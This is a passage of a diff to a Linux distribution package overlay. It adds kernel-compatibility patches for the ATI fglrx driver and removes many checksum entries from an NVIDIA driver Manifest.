+@@ -520,6 +520,8 @@ static int func##_wrap(char *buf, char **start, kcl_off_t offset, \
+ }
+
+ #else
++#include <linux/seq_file.h>
++
+ #define READ_PROC_WRAP(func) \
+ static int func##_wrap(struct seq_file *m, void* data) \
+ { \
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-13.8-mesa-9.2-debug.patch b/x11-drivers/ati-userspace/files/ati-drivers-13.8-mesa-9.2-debug.patch
new file mode 100644
index 00000000..8a15e0af
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-13.8-mesa-9.2-debug.patch
@@ -0,0 +1,18 @@
+--- work.orig/common/usr/include/GL/glATI.h
++++ work/common/usr/include/GL/glATI.h
+@@ -6006,6 +6006,7 @@ typedef GLvoid (APIENTRY * PFNGLDEBUGMES
+ typedef GLvoid (APIENTRY * PFNGLDEBUGMESSAGECALLBACKARB)(GLvoid* callback, GLvoid* userParam);
+ typedef GLuint (APIENTRY * PFNGLGETDEBUGMESSAGELOGARB)(GLuint count, GLsizei bufsize, GLenum* sources, GLenum* types, GLuint* ids, GLenum* severities, GLsizei* lengths, GLchar* messageLog);
+
++#if 0
+ typedef void (APIENTRY *GLDEBUGPROCARB)(GLenum source,
+ GLenum type,
+ GLuint id,
+@@ -6014,6 +6015,7 @@ typedef void (APIENTRY *GLDEBUGPROCARB)(
+ const GLchar* message,
+ GLvoid* userParam);
+ // end ARB_debug_output
++#endif
+
+
+ /* ARB_debug_group (KHR_debug) */
diff --git a/x11-drivers/ati-userspace/files/ati-drivers-13.8-proc-permissions.diff b/x11-drivers/ati-userspace/files/ati-drivers-13.8-proc-permissions.diff
new file mode 100644
index 00000000..26015f41
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/ati-drivers-13.8-proc-permissions.diff
@@ -0,0 +1,13 @@
+diff --git a/common/lib/modules/fglrx/build_mod/firegl_public.c b/common/lib/modules/fglrx/build_mod/firegl_public.c
+index 22561c5..6480d1a 100755
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -821,7 +821,7 @@ static struct proc_dir_entry *firegl_proc_init( device_t *dev,
+ KCL_DEBUG1(FN_FIREGL_PROC, "minor %d, proc_list 0x%08lx\n", minor, (unsigned long)proc_list);
+ if (!minor)
+ {
+- root = KCL_create_proc_dir(NULL, "ati", S_IFDIR);
++ root = KCL_create_proc_dir(NULL, "ati", S_IFDIR|S_IRUGO|S_IXUGO);
+ }
+
+ if (!root)
diff --git a/x11-drivers/ati-userspace/files/check-for-iommu-only-if-iommu-is-supported.patch b/x11-drivers/ati-userspace/files/check-for-iommu-only-if-iommu-is-supported.patch
new file mode 100644
index 00000000..79324873
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/check-for-iommu-only-if-iommu-is-supported.patch
@@ -0,0 +1,31 @@
+From 1633d55aa0fb9c2ceb0ae1eab15bdec5066d35ae Mon Sep 17 00:00:00 2001
+From: Emil Karlson <jekarlson@gmail.com>
+Date: Fri, 2 Aug 2013 01:18:41 +0300
+Subject: [PATCH 1/3] Check for iommu only, if iommu is supported.
+
+---
+ common/lib/modules/fglrx/build_mod/kcl_iommu.c | 4 +++-
+ 1 file changed, 3 insertions(+), 1 deletion(-)
+
+diff --git a/common/lib/modules/fglrx/build_mod/kcl_iommu.c b/common/lib/modules/fglrx/build_mod/kcl_iommu.c
+index c6602dd..803455c 100755
+--- a/common/lib/modules/fglrx/build_mod/kcl_iommu.c
++++ b/common/lib/modules/fglrx/build_mod/kcl_iommu.c
+@@ -183,11 +183,13 @@ void ATI_API_CALL KCL_IOMMU_UnbindPasid( KCL_PCI_DevHandle pcidev,int pasid)
+ */
+ int ATI_API_CALL KCL_IOMMU_CheckInfo( KCL_PCI_DevHandle pcidev)
+ {
++#if defined(CONFIG_INTEL_IOMMU) || defined(CONFIG_AMD_IOMMU)
+ struct pci_dev* pdev = (struct pci_dev*)pcidev;
+- if ( pdev->dev.archdata.iommu )
++ if ( pdev->dev.archdata.iommu )
+ {
+ return 1;
+ }
++#endif
+ return 0;
+ }
+
+--
+1.8.1.5
+
diff --git a/x11-drivers/ati-userspace/files/typesafe-kuid.diff b/x11-drivers/ati-userspace/files/typesafe-kuid.diff
new file mode 100644
index 00000000..c226ea3d
--- /dev/null
+++ b/x11-drivers/ati-userspace/files/typesafe-kuid.diff
@@ -0,0 +1,34 @@
+diff --git a/common/lib/modules/fglrx/build_mod/firegl_public.c b/common/lib/modules/fglrx/build_mod/firegl_public.c
+index d3ad3ce..9362b58 100755
+--- a/common/lib/modules/fglrx/build_mod/firegl_public.c
++++ b/common/lib/modules/fglrx/build_mod/firegl_public.c
+@@ -34,6 +34,11 @@
+ #include <linux/autoconf.h>
+ #endif
+
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0)
++#include <linux/uidgid.h>
++#endif
++
++
+ #if !defined(CONFIG_X86)
+ #if !defined(CONFIG_X86_PC)
+ #if !defined(CONFIG_X86_XEN)
+@@ -1543,9 +1548,17 @@ KCL_TYPE_Pid ATI_API_CALL KCL_GetTgid(void)
+ KCL_TYPE_Uid ATI_API_CALL KCL_GetEffectiveUid(void)
+ {
+ #ifdef current_euid
++# if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0)
++ return __kuid_val(current_euid());
++# else
+ return current_euid();
++# endif
+ #else
++# if LINUX_VERSION_CODE >= KERNEL_VERSION(3,5,0)
++ return __kuid_val(current->euid);
++# else
+ return current->euid;
++# endif
+ #endif
+ }
+
diff --git a/x11-drivers/nvidia-drivers/Manifest b/x11-drivers/nvidia-drivers/Manifest
index f905799c..74281f93 100644
--- a/x11-drivers/nvidia-drivers/Manifest
+++ b/x11-drivers/nvidia-drivers/Manifest
@@ -1,120 +1,31 @@
-AUX 10nvidia 26 SHA256 1f3469ad49cf83d5d0dafd53729d6b20a8e2c9a070bcd4062ec7a1046a3dc2ca SHA512 471ffa2ee4d238a3f3a2e90a04f635fee57ed133f1a02ae6033e8ca5342c2ab1f5a8fb5672a189b19d91e70010f17507246ea8864788120df1285265cc8c5f4e WHIRLPOOL bd9f31661ef22fbbe1efaa51d8cea2d05fa9ba487ae1195f5137289682a9b7bd551093c1e08de3ee85a202feef83f9e1845cbac8fe763b0ca2b2bdecfd1dd705
-AUX 256.35-unified-arch.patch 1498 SHA256 7861431595e425c5df8acffb8bf536befa7a13618d6f66456aef6dac4db5c314 SHA512 0be0097e0ac540d672ded293168a56969bf26d62efd78d8ac320cbbd426744536c451835cb46f002f112a172fee0d44c8633add0932ab2c3b41ca6841f780f63 WHIRLPOOL e4a652d358519010f76cba94b0e9e97f3632f301ace8d5ea56fc8ae896e57445e08623189cf9240a99efad801774adee39a1ceea9ab982c5f36ae57e949c95b7
-AUX eblits/donvidia.eblit 695 SHA256 d404dd7e5657d83ccf3687720fb978030a3716e47957fb8bb80dea3ed57b3672 SHA512 606d2a496ddae2ac89d3ac0ce5b80bac90cabfe74d6b29c577ab047c3b83ce8965bb4b91b29f37bf55d4f34eaab623ac886760920efb9d306d3904cb3b51291c WHIRLPOOL e0a945c4cbaa0514e19eecf8faa4daaa76c8fc6392fb9a2a607e011e7994c535a3ba4b024de9ee9f4f34c7d4e0d48a0c3315f4cf9687be05fb577ec8dd3c0fe2
-AUX eblits/mtrr_check.eblit 629 SHA256 ae1b8fb37985fc3e42a4a776779b3fe3d70be2c826df5c3f99d03ba7209ca0b1 SHA512 db1bcee808c616536e21f98d65cd0c2b64b26b8b0db827decfc8fe12b031431bf961f1f2016a22170b9400672aeb508f548a66c15018570b44fe1cd535692f86 WHIRLPOOL 4f4961dc5aa71f273871f9171f485aaf5dd27906a564e1967b9298362b2302d9b137a757c6e6918b4b3d1efef75b0ed266f08d83c898e0a1f2b47653e1ca7335
-AUX eblits/src_install-libs.eblit 3472 SHA256 6f301de374736cec316794bf1935a15de025b3c505981f24e06e3df75818ad6a SHA512 f3dd0cb69276cec6f2b7cbb452c77c8e0a82fc37514c31a21fb9a251e38027e4adfdda6ca8b1897635897608a0e70c81f03ff88466a7db1387ed7a4241924ce8 WHIRLPOOL a2e84fba09347bec9b27129f02311696938ad5ca61fa7ff8d9efa10ad9c63a01a622cba1d08b1e166c737e88b50add234c7c0d59b88e5b64442269a7dd47cbf8
-AUX eblits/want_tls.eblit 952 SHA256 e5ce767a2e9a5c0682e764b9ba42a20e721a093f4c0626605570c8b5e3afecd0 SHA512 eafa21a324f095e3d80ac0385c1a5159011a57e3aa2465927c71524c6329147f2ee804f6b0772d4ad97083637451df397be0da748d8674d5be42b308fb25ae2d WHIRLPOOL 8291d0fa548518926252fafabaa0ebbfd7ac165b380650beeed17c86918f95d658a3daadab6c4bde0adbdf1ce7b63a88ed6135cfcf9dceb4798f0b1ccefc8fcc
-AUX libGL.la-r2 733 SHA256 4856e7a2c31763ade41c93a395f3e80a2705ac2ab4dbd73e5161cdba132f407b SHA512 52fbc3d704274fc5403b95a5d696824684302f4a77e0b08d5a59850435b12d9bdc4cf931f346f91e950f246cc342e0a673e7657cc2cea95e991ed3aab8c1c928 WHIRLPOOL 6a0006277a8444b4b5191a7e07c972efde43c3a9ff8a7286d1d1f78c69c3ba394572f31716b684f1e28355572a6e9f9cbd5437bb9dba127d727f8789fbd2a980
-AUX make-use-of-the-new-uapi-framework.patch 1503 SHA256 47122d37911638163252557cfa754f35bda3d1db91812ac19aae86e9f6b4612a SHA512 a8e0de8b861b52cb66fe508456110df6effa3ddea42d023cc9ebeeb373d3bcc4fba5d9f6910343e4c211ebf64abf9073aedca25d0baf7f4e8ea4fd3b44a947da WHIRLPOOL 14d3dfecba46ddf6da0f1290730916c8d22bfcad8ebbf4af8720b1b3a76072c076444141a14927af9c7339f48b6fd3b9f3924bb050a13e2ab30158b9a1e102a5
-AUX nvidia 1510 SHA256 b193cc3f6d6f39138720a2282d9f161fc8f2e8a15bc43d183a30eb879add06c5 SHA512 4ffdf49c2634b261be122a0016b0f69d30db6fe4b4a29767cfeee2e1d60671e7e6fc5e5c3a237b351a4def64404db121cf296a0cdb6e1bbd4f8e78ab40587000 WHIRLPOOL faab4c87940e4703b2a30f284cae34bdf4ac486cb1d402b5bd91ef65c23f443c2c961ad914fbcbd5258dd5bbaeee583f189fcf5fc14f2b9925c8ccfa0fc422c7
-AUX nvidia-169.07 639 SHA256 a8c4860f008d53776fda7a17b59524f271236559af688e9a2c9845cbbcba1577 SHA512 3af295c026280dc3a2b73c2cc7772254686b09cad15f1333ab0b4de8cb0ccf78e725ced2a399b10edcf8af6ba42ab1485dc0661af67461b0c3789f786357772f WHIRLPOOL 626ae3c01c879e0cfe05bd373e0b9dfd6f462dd9ef6ae94a7d60276fe2d17c57fbb20aaa4d2a186a0ffc2a860076692aac854d00a3545bc9736e7bb8d0581055
-AUX nvidia-drivers-173-3.10.patch 22318 SHA256 e1e84b3f882df06295295050003855d435669be049fd8cdf73f95917e4ed2c3a SHA512 8c96fa9c945e4a2620372d171049a1bf3318a2d0bfba6857717eb7c1132a2538edb536b9958e0d7647f93fe60bdb2b2c153b3dac3b2ff4fd057a78288b1e6e5f WHIRLPOOL 741ffb283a249f39c74f83b38e897489dcc4d644daa27c40af00a51f1768336c4d4371f379f5fa6c1c3ec80e011ea83a8703fe90307f00e12d0befa96b94fbc0
-AUX nvidia-drivers-260.19.44-2.6.39.patch 481 SHA256 f4aebb017e5a054171df7594220674583dbb25c0e8f78778141bdc5694fad521 SHA512 37a46b1e0fb688144a1a40bb403b1ffa718aa215e413887c757423d4e3b3e6a12187dd0c96607063c0358522d2a383e6ffd71ec855a108340fe7710e0106bf96 WHIRLPOOL 5fdff3d8cc58218d8151d68d45c99fde31eb913985302f76f74414fa2e4a3bb8d11470ec9be124a1c96648d002c13f350a9ee8bf9811b594f7c618ce0555138f
-AUX nvidia-drivers-290.10-3.2.8+.patch 481 SHA256 e34491c1b8cbb0b310f14aabea34c4dbc6bb3ee20c78ac87d62f960134f5dda0 SHA512 d40b728f3955ea651ee6fefa9b8a7b7cc2c5aee9cbbf0662f5abb6709a6b62cfb13e80d9595e08de35f2d8c4631200e17c91cd4b8c32059f866d35c00f750ef1 WHIRLPOOL d8938f7ce01713ad6a5e194ce3b1299d705cffcbabb6791dcc0feb0fd4d386401dc5d810496db0b30c7bcc8b184d37d07f27979514ec09c2b83e78cbce0b5b3b
-AUX nvidia-drivers-304-3.10.patch 18864 SHA256 a5793ff1620b062880fd23f4c5bc469bde70e2ee6f74f7261636298b33154bd2 SHA512 d985d4982728167fcb491081a151fa7a7f6536d8fd0152dd627b6be02b357a780732d78bffc41a4e8f25903cd6213eb79a8763ddd9787e01e067dc200e0213a2 WHIRLPOOL 3c07a3ac4891f2685ed0057a2c340d8b949480ca1e3e13d13cc9b801652b101d54934e98b5951522f186559f55638a240327862540e1cbcd1e494bf937e91113
-AUX nvidia-drivers-313.18-3.8.patch 775 SHA256 329a38af4a6ea8c76e61129140b8dec16694b50328934346a40ff5e571671083 SHA512 0dbb88a54d8daffb1c6654623187f505e62042ad92f8dab8e7c15a1d43d461965b159c08a8c8971e342b88050274a8a72d578ceebb025891cdf083dd65213ce5 WHIRLPOOL 269a97eb0ceb66ad9418bf4e453b5e891bcf96c29dec8b4bc8aee0674448d05edb155587b03b98dfb20d1e071c6419badc64d6982601c46edb7e4b916a17c8e1
-AUX nvidia-drivers-319.23-3.10.patch 17669 SHA256 68d9c37dd177829bd240447d070489fab3d58f4552d09d46ff0a2ee7cb07d127 SHA512 a0a3c22d0c65b8759929b982155f233e49d279a5de74c7cae438681666324656319d1a1bf8e867453c945eb4bd12406287bf497440c1801142c1ba327e473c58 WHIRLPOOL 98e7a37285c5a2e94ab33c29221803f404ef6aa6fcaf0398563e2131c132c708095f09d97e4e82e73146f95da39e07589d620a8bf1c8ad7e23bec9196c4b316a
-AUX nvidia-drivers-96.43.19-2.6.39.patch 561 SHA256 63e9f372023454943583e9b9c0603a12df3481fb3e36b89c411e8d70b5d9aa26 SHA512 f479b491ca863556d6f7b1ad23962b339c7815ab29ce8a5b1be8275cebce04f009ca59a6204f5e0b56dea57f276e9ad1953072b65a448111c1c85731fe05d608 WHIRLPOOL b0895792f6faedfd8cb0a0b5af9e6a2584f882690aef129b3be88913c364fd476ff05757664c0a2cc48db5b7d6cec19f56d09897e682b2c18f62e2cf82968e73
-AUX nvidia-drivers-pax-const.patch 833 SHA256 74ba8aa3b03e1b4a0515fd84c159eaeb7635fa1364e77544b01ff6f571f0e6d8 SHA512 6ef94db71cab2dd47273eaed1857209d03ef648d268c7645f3ca4caf6b894590e42a8e716e4354f2eed656e7d55a4c1774b1e6a4be215fbf59fc9d0b1a5762a0 WHIRLPOOL 1b2d737ee7ccee831c85bd8af9605c0633fd025bb209e6d76c13f49a5664aa490bd5b6ce48855e541fe87380cd7b723162e1965b803e1ed630f239bf4dbd0d19
-AUX nvidia-drivers-pax-usercopy.patch 2350 SHA256 56980f43db38d582bc6a9bfd881973fce6e3e056b77ce4f4005bdcf79526a863 SHA512 54a1354ba008d014a608044610027b4d808120f8e77cc7d5ac855c3dcf4f487b0a4c0870ae4e727db0643cb56ee21513b803976e9a30c6838adf2f5414232804 WHIRLPOOL 78ac54bfe52cc3b6dfa28e17020991dfb7056984d667b0fefa41d23372b03e1a8e6d66c74e1dee234733d5b2b36e2c0813f507a89716ae2d8f1f6db917fdf01d
-AUX replace-VM_RESERVED-with-VM_DONTEXPAND-and-VM_DONTDU.patch 829 SHA256 28c9254efcff3f8ff51c8f8fdb1a277a49c1b3e424064454b8aa43f114e38bfd SHA512 bbb0844f0688e3a7e75e26ada19633c451bd9259e8084e6b49f5889414b417f047878e7819276c878136679c5a69575a02d2c1562e9c53ddd3dba8b61f2708f5 WHIRLPOOL ddd315ffaf6ae48f0f369813001b55920e76682a1c0d1bc694ef64bc8828c9bd1e87f8849b35f006e387aa6ff2fb93bb628c59c1f91b348b8573396a6c5ff686
-DIST NVIDIA-FreeBSD-x86-173.14.31.tar.gz 17991684 SHA256 98699bc8dc1dad86cebc2ed067b4fc5cd37b8540e897bb218f38ac80c4b4d875 SHA512 4e6fbbeaff54563a135346e60372046cb2cd2562cc606836dc3169d4f50c0b112095b1f0f3f14f2f0facf2be1235064c13766432a04b927f2ab81ef50c8f4f34 WHIRLPOOL 0cc4f196d7ccbdd45f8584fef9f98dd1af2fa260a8e694a6000e5436ae2ab35df6ba5f8967261e36f0107962744423fc73eef9d0e59807f78536ecf8de0f5963
-DIST NVIDIA-FreeBSD-x86-173.14.34.tar.gz 18792829 SHA256 44368464ad72addb999aa7bf3a1d684d4cddd1bba08d7bca9e45a825cb8865ae
-DIST NVIDIA-FreeBSD-x86-173.14.35.tar.gz 18748428 SHA256 51e82a12db81b5af4ae5ee59612875c0dbef52cb641d61a44c72f2e1cd7f4c78
-DIST NVIDIA-FreeBSD-x86-275.09.07.tar.gz 30304023 SHA256 d5d119c2f066539da0f2d1926193f6bc2bfbf2a1dcdff77322a23b42c5df91d9
-DIST NVIDIA-FreeBSD-x86-280.13.tar.gz 29589886 SHA256 2ad1882467a2d8a0b65dfa15e710e4938786e51f688e1d02d4d3343868b9239e
-DIST NVIDIA-FreeBSD-x86-285.05.09.tar.gz 30697710 SHA256 d3ad51145cd57c70678ee659112a0973187b1b02e3062addadd0fe094b3c46fb
-DIST NVIDIA-FreeBSD-x86-290.10.tar.gz 32042469 SHA256 f5accbdac0b231a8073f76c1d1d8ace7cb98ebe167888c31183a2752a669ee92
-DIST NVIDIA-FreeBSD-x86-295.20.tar.gz 31993959 SHA256 fea6d5552a50e2aedc4726944fea85ac8baf0d0b26661fc3b1f97f54ebec6736
-DIST NVIDIA-FreeBSD-x86-295.33.tar.gz 32039170 SHA256 e3f8052fdac78defafcef495febea2a77f820f2c4c9ecbe47fb92bf630321afc
-DIST NVIDIA-FreeBSD-x86-295.40.tar.gz 32029253 SHA256 f47b603f39dfd2e405949aab6fbc7abd4b24f43c6fb47b4f23d7618f32021364
-DIST NVIDIA-FreeBSD-x86-295.49.tar.gz 32078716 SHA256 aa7c9a13931a55e358c542e1d18feb0aeaa7b18550e9675698b152265134d938
-DIST NVIDIA-FreeBSD-x86-295.53.tar.gz 32085530 SHA256 ecb637754ec31a0c058017e04b363abb831b96584ca9684b676a93ecb5af93ca
-DIST NVIDIA-FreeBSD-x86-295.59.tar.gz 32092806 SHA256 9a3e1794418add03ad97aad93608d1bc1f2f9c5a82e0321a2a8ba1c9db7d41dd
-DIST NVIDIA-FreeBSD-x86-302.17.tar.gz 32072917 SHA256 b0d50c3333ee7c485bfd5287b37e253ed358dd5d205997f0c50e16f04b7714c5
-DIST NVIDIA-FreeBSD-x86-304.22.tar.gz 32975645 SHA256 20a84c23339695fe73d9be977662b19572360d8d87b54aeca428f73e2510c1e5 SHA512 15788983073427a9729b61a37b684c37bafd57618bbacec40fe8f9bd0a3f6f30d417297dee5e3ca287f0b71c74bbe03163edef048f8ad38cf2493124820244dd WHIRLPOOL f823ce885ebcd8ab9af427487c8dfffe5cc7adc61e1c4af31371b808df449584df1f571310610e901bc83c4e52cb553d2a71d0ae5e3fadfadf56ce1a97447484
-DIST NVIDIA-FreeBSD-x86-304.37.tar.gz 33291575 SHA256 e6c3a1d4a757b5d4f2ab54a43d5d7008fcb1b481f14515f58adcd31f3edc6576
-DIST NVIDIA-FreeBSD-x86-304.64.tar.gz 33320263 SHA256 e129d0d0e8d256d6328cddc4c18edb96c1e444c354f7c806ece4192621a1c1b5 SHA512 032de0524f2e68a06e6218f3737f55e16e6ae6ea9991b539bacabf4814a101d2f0786d8e2fe750d59ddaf5b5cee5b1527adedc44539d2015370e879ee8b37948 WHIRLPOOL f042065e63a5a74b2d3b586135072df77156481383a5cb7993598efef841859c3a7d9a7c6ad7eb83016376bfe5d2b044088918711a6304380a8ade6c808ab60c
-DIST NVIDIA-FreeBSD-x86-304.88.tar.gz 33651825 SHA256 739325b26a93d934d015159c420ef1875a24ccd62a5bb482e688cf918d4fa33d SHA512 6dab929d2d2bacfc3a96ab24ff02996938613851e2b3c050ed3a1d0cca3751c574f12508e21119f2b43ff0421c3f88bf4edd51a37f3374c72c6337bcb8d6bcdb WHIRLPOOL b9be513a8dd8ce4cd6eeb23a24e725c751bb2cce0745477df2b4b84d7d03ad557d0b16bcdfb8d642168de09d59b057cb2955fca11f50b281ebad92f30a7dc4e1
-DIST NVIDIA-FreeBSD-x86-310.19.tar.gz 32264033 SHA256 29635a45e87fd240d472868dcd1ff9030f7eb85d78ffe85dea0f420be390d3e0 SHA512 77fd63c0c2cca5462c7e969e300f027dff9cb60f4234868f42317604d537a7bccb2631958f2a0cf74f46ee685d8f2a25f3dab2792be00a5c638d9756deb5a582 WHIRLPOOL bc896389ed9ad32e8e2e087476a3bafac9f828b8a1167c7b99cd58688d56d5454717dbe99b83fa1eca3111a80ffa9f721332364c8fdf95c02f4c5e05f989248f
-DIST NVIDIA-FreeBSD-x86-313.18.tar.gz 32592785 SHA256 515b8470dcea3e122403f5902ba6ce3d710d9ddc4d9edd581ffe85e184af989f SHA512 00f15def371cbd2c433b2cecc1f5ff455ea1b112951b3453512b88371f7fa25047e5409cdbd7e34b7c8e6d5b1691b6d662076737dcfd6239f60926a013a1de52 WHIRLPOOL d6a49d027a4cc66c05a246f84ca8360265ce98d50e1e35d4d8828f2003c472d2154eb277cecddd1eb39ecc44896795e529daa743f37174c0e1e2a84b9fa7bada
-DIST NVIDIA-FreeBSD-x86-313.30.tar.gz 32591892 SHA256 1e02831fbaddf2f27808ea26352d835417f59bcf54ddb3e9c0f1d7b76dcb4666 SHA512 68cf61fabf707dfa1225011cab3749959ab29f09f611347eb9f9bd55065012d04382998e67091c4d3c1af9be21be6381aef9b6414448ee15f9a36d44448f5bf8 WHIRLPOOL 71ded70f45e880db2c2850c596cebafd004adf89f7131adaf324d1d38abbb5457a700bfa9e671bfa144515556f011df8a37fdf22b78b879f39007be6487f060a
-DIST NVIDIA-FreeBSD-x86-325.15.tar.gz 34164781 SHA256 745d8454833d1ad59f6480ac2d1ca744862e4e711e16deeebc0d04ff86925c4d SHA512 b1ce1041d7f3a926c3e62e398a618063e24675cdd919206c11e556f38d3b0078233ba31207d04e9d94e26bbf5eae4d43f8db457e7ac4fecfb8d407d2dbbf3040 WHIRLPOOL 9a37ecaa745ab9ff80755f01100610f85467fdfb55f5568dd358cb39302c0951edd91d518f1027bb0d43628e575ff9c1799ad956b9e673a31d38f7f3db125c63
-DIST NVIDIA-FreeBSD-x86-96.43.20.tar.gz 14060884 SHA256 e75fce272e72644d53e6ad3c0957fe173735a4b621726ce227ba8ecf9bd9c5cf
-DIST NVIDIA-FreeBSD-x86_64-304.37.tar.gz 34210803 SHA256 0d00046c8463954b6c8e13e245b2619758e947389161a113aa005ef7566e5dd3
-DIST NVIDIA-FreeBSD-x86_64-304.64.tar.gz 34247065 SHA256 9887e4147fcb16141dcb6b153ff71a28c73cf2a4c16b60e4c6fcb8586a1c5400 SHA512 31750ebf8f8583e82dd3211888e729dac866b73c9cce4cf666900f7d1269097ed1df9e30173c8091e0ed5196dd3d4d9b09e2aaeaef2936aa3f95fb673a37622b WHIRLPOOL 1412c1e9deaecd2f7fd086ef57afb6ea8b2252b57a4e69a71561768a6fed7e6387d10db4e4efa5c9772e2954bc0fd2c1902bff29a8b48ce6dc05e87ec913c908
-DIST NVIDIA-FreeBSD-x86_64-304.88.tar.gz 34597351 SHA256 be0e20a543fa14a8f91481dd64b080093b19edf951bf631c62365a64dadb1934 SHA512 143af863aef72962d83c6f77160512d0860a62964e92043400674b0be95735ae6f2dbdd25c42fa96b4511cece9c73b7072f829a88d46ab6b79aa750b65e64748 WHIRLPOOL 74b5014736065e178b261716e81f367395252efb3aa3b84faab6b6d26f561caa129e1d9bc0e02ce98f83dcaa3603fddd155de4b50e760bf2ea8df4c176b21e76
-DIST NVIDIA-FreeBSD-x86_64-310.19.tar.gz 33184883 SHA256 82607fdd14c666867b842205be3ec8b8095fb0c9da1cb2286b0bf85a769eb9ae SHA512 5f112a4dbb379977c9b1417536964d02498cb9d4a4ff3c35291dfaa5c90fcc8b2073ec75a1db9358c98686661d525db5e7e42036500281d09a1be608f9c2b851 WHIRLPOOL 3b629c57cc63319b18805fb67ebf75d07907a52b2c1d7cad12cca8837c29e6557c772c416d52d15f1e8f7b01b65b8a7728bd4cf5c0da890644e3151421fb901d
-DIST NVIDIA-FreeBSD-x86_64-313.18.tar.gz 33554240 SHA256 57fbf9c85fb19a7f2fb3c6c2f50421e70309cd3360c059a2fc6efc125681ff10 SHA512 fe2c0ec88b7cb5d49905dd082d46f3a4268dea78bf4dbdc6d82b60f1ec9998d478b4332de48094af7bb7b9b51eb6885aae446998830c28555521715db7a59dbe WHIRLPOOL 95e3c577b3831bda11f0ddd8ee1fddc2f1a3138db35c78277fe99ac6c75d9dca0e9b8acf59ca31413f11775772d82bef85077355796bb6882bf9804868361b66
-DIST NVIDIA-FreeBSD-x86_64-313.30.tar.gz 33557658 SHA256 192ad1bb8a0cd649e12bcccf97c5f4d2002d6695126fea81586991d9e95248d3 SHA512 79b3b47bdcbc99f724f8c424733c11f1b2653103bbe0ba9849587628611d9da08ea434c786cc7d3d891bde3dfe4068298a7377ce5b1a3484fb64ef4d28c896da WHIRLPOOL 7307d6adb04b47b8403134e7394bf9af4f90839d1fb62aa3b7b7c6d8e367392829fb249dc8d444e66158fa5b5b15cf5b6c16e1f5659a22a15c17f55eda026660
-DIST NVIDIA-FreeBSD-x86_64-325.15.tar.gz 34590166 SHA256 92429119ca8e50baa06c6681ed2b9eb6c37cdf256a19ba4e1827be4b202a0569 SHA512 c9e4d41a5dcb02a280fb323fd4578bc7851d4242890f1d8e69a59e083a2a76cccdaba3ed55f8eb8f983e9c89326f0a9d7152bd7770230fbe45fc7b5865c486b6 WHIRLPOOL c54638af7fb6aaf63222ea75cc377e5e449dfaa80dd47a23aed2eec8da1c460c9e3c24627a2853287585a65b0f562e3efc7916fe985a4816d82aebc12bf7021b
-DIST NVIDIA-Linux-x86-173.14.31-pkg0.run 13407481 SHA256 e855a62f16a9d0eff1bf470a8fcedd48cd1b718e969ad5ebe89a557d039d1924 SHA512 bb58aa1ee84c71311a7b5cd3d87fa2827b6b41bb4645849611381ce7e255516da66fff9cc9a295a39ea185668d7f91fde0eaf56a18b04ae67ae468e1e509bc46 WHIRLPOOL d9a28dd96bf77051e6cf91a1b29c59fac716e14f3d3726867ecd9e43ac90d62d4ace0f0add7aff619f4933a8dc9e87734df3fcb5483db62bf99a77320d4e2f33
-DIST NVIDIA-Linux-x86-173.14.34-pkg0.run 14071464 SHA256 a873b7a28b1d83fcb7a97e4d5fcb471bb96bb5094bcd5e86c728ec22b49b258e
-DIST NVIDIA-Linux-x86-173.14.35-pkg0.run 14028887 SHA256 2d26100f7691047e424e1614deca0f1d862da5fa69e04e967f0c1dbb84ec729a
-DIST NVIDIA-Linux-x86-275.09.07.run 30930605 SHA256 27d1b2073c11bd56e423ed80bd22773f1f282c39ab3b76773144cfa680a1ff0c
-DIST NVIDIA-Linux-x86-280.13.run 32704856 SHA256 b222afe19c6310f1aa2a2574f27fa9e2b877738177daa60162bb5705758bac9b
-DIST NVIDIA-Linux-x86-285.05.09.run 33592492 SHA256 ce03fa99b62081b52bd5dae3594ac5942413ed530cda3d76a82f4ab0afd36f96
-DIST NVIDIA-Linux-x86-290.10.run 34691272 SHA256 99be8f53aa1f777445e5a4cac27acd7d85990db712b5c29caac865145fc5adaa
-DIST NVIDIA-Linux-x86-295.20.run 34641353 SHA256 0f9dc3d493053cffe37f72b6783edc6c14afd31532b43a7cf0bfce763cf2d500
-DIST NVIDIA-Linux-x86-295.33.run 34675369 SHA256 90a866c9c2f3904bc25b7a5829f8b40a419e60a79ad13c980b48d3bf89625a47
-DIST NVIDIA-Linux-x86-295.40.run 34668138 SHA256 ccd46574dd843a50327f50daa6f0b635ad7eca4a5b9a5fa963d0871bfa74ce2a
-DIST NVIDIA-Linux-x86-295.49.run 34716936 SHA256 f13b44725f4904ed3f5250d733b45b5815f54e8b588dfe6c6180918e80f35c6a
-DIST NVIDIA-Linux-x86-295.53.run 34718461 SHA256 0040096216ac6f8695743c9124a067787d30947f7c64f2734bac474f5af0b0a0
-DIST NVIDIA-Linux-x86-295.59.run 34730118 SHA256 084bbb76c57d5c2a5b780322a95dcc230ec6e25b4f6c176574a93621399ce5a0
-DIST NVIDIA-Linux-x86-302.17.run 34598956 SHA256 3525d3814361bd202998cea2962bb3d1bb3419206d02fd8ac30d61358c1a284f
-DIST NVIDIA-Linux-x86-304.22.run 35433519 SHA256 174be68a403f234cadd6dbac785459f7a7463989050fa4e6c92ed65b638ededb SHA512 885a0a8a7ecc387a9bbb806b2f36942d7bee2bdfdb784169490b72667db4218b76e19b4ebdecf107e1498f8e1d5544e3d44ae6b02cc6d6855431602e4afc3064 WHIRLPOOL ab691f2aded714b38afad1f6ff966dcb016cb409e4b78c37137aac439c06d2df112b74d72abf205526b65cae7d90a7e5f5081426d29e1cd310139511b77794c4
-DIST NVIDIA-Linux-x86-304.37.run 39349097 SHA256 ab3174a0c9ab37a8fc3f4a8fc1121d72fbdd5e00ddecf44f7dbd84bb8d51b337
-DIST NVIDIA-Linux-x86-304.64.run 39386363 SHA256 23464129f7ea5a00f724f67627206b322b6d08efb7134192a56ba50ea93d2252 SHA512 106e40ec6453c0f08c0ec926e5121357535395c5d97acfdaa3c1b95f9baa256d1797cde56e1fa696e267cd1d12fcb1624d6e60e28256d9658bfed12580669c5c WHIRLPOOL a6ab62b283963a417781d4d90c03f7a1b2afedb69d1e2e862bdc67c6e8148a29de396e362dea46a4024f65470ecc2f984b468df9ab784aca7327e80529af2bc7
